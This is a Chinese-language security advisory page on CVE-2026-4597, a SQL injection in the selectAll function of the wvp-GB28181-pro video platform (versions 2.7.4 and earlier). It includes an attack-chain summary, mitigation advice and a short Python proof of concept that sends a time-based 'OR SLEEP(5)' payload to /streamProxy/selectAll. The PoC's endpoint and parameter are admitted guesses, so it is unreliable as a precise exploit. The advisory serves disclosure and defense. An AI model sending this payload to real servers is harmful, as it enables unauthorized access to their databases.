IPBUF安全漏洞报告
English
CVE-2026-4597 CVSS 6.3 中危

CVE-2026-4597 wvp-GB28181-pro SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4597
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
wvp-GB28181-pro

相关标签

SQL注入wvp-GB28181-proJavaGB28181中危

漏洞概述

wvp-GB28181-pro是一款基于GB28181协议的视频管理平台。其在2.7.4及以下版本中存在安全漏洞。攻击者可利用StreamProxyProvider.java中selectAll函数的SQL注入缺陷,发起无需用户交互的远程攻击。鉴于漏洞利用代码已公开且厂商尚未响应,可能导致用户敏感数据泄露,建议立即采取修复措施。

技术细节

漏洞位于src/main/java/com/genersoft/iot/vmp/streamProxy/dao/provider/StreamProxyProvider.java文件的selectAll函数中。该组件在处理流代理查询请求时,未对传入的参数进行严格的类型检查或SQL字符转义,导致攻击者能够通过构造特殊的HTTP请求参数,将恶意SQL语句拼接到后端数据库查询指令中。根据CVSS 3.1向量分析,该漏洞利用难度低(AC:L),攻击者只需具备低权限(PR:L)账户即可通过网络(AV:N)发起攻击。由于该漏洞属于SQL注入,攻击者可以利用UNION查询或布尔盲注等技术获取数据库结构及敏感数据。成功的利用可能导致数据库中存储的敏感信息被读取(C:L)、数据被非法篡改(I:L)或服务中断(A:L),对系统安全性构成严重威胁。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统正在运行wvp-GB28181-pro,且版本在2.7.4及以下。
STEP 2
漏洞利用
攻击者向Stream Proxy Query Handler的selectAll接口发送特制的恶意HTTP请求,该请求包含SQL注入载荷。
STEP 3
执行攻击
后端数据库未过滤恶意载荷,直接执行攻击者注入的SQL语句(如UNION SELECT查询)。
STEP 4
达成目标
攻击者成功提取数据库中的敏感信息(如凭证),或者篡改、删除数据,导致系统完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-4597 (SQL Injection) # Target: wvp-GB28181-pro <= 2.7.4 # Endpoint: /streamProxy/selectAll (implied from StreamProxyProvider.java) import requests def check_sqli(url): # Vulnerable parameter might be 'name', 'app', or similar based on context # Payload to test for time-based or boolean-based SQL injection payload = "?name=test' OR SLEEP(5)-- -" full_url = f"{url}/streamProxy/selectAll{payload}" try: print(f"Sending request to: {full_url}") response = requests.get(full_url, timeout=10) # Check if response time indicates SQL execution (Time-based) if response.elapsed.total_seconds() > 5: print("[+] Potential SQL Injection vulnerability confirmed (Time-based delay)!") else: print("[-] No immediate delay detected, further manual analysis recommended.") except requests.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_sqli(target)

影响范围

wvp-GB28181-pro <= 2.7.4

防御指南

临时缓解措施
建议立即限制对/streamProxy相关接口的外网访问权限,并在WAF(Web应用防火墙)中添加规则以拦截常见的SQL注入攻击模式,同时检查数据库日志以确认是否已被入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表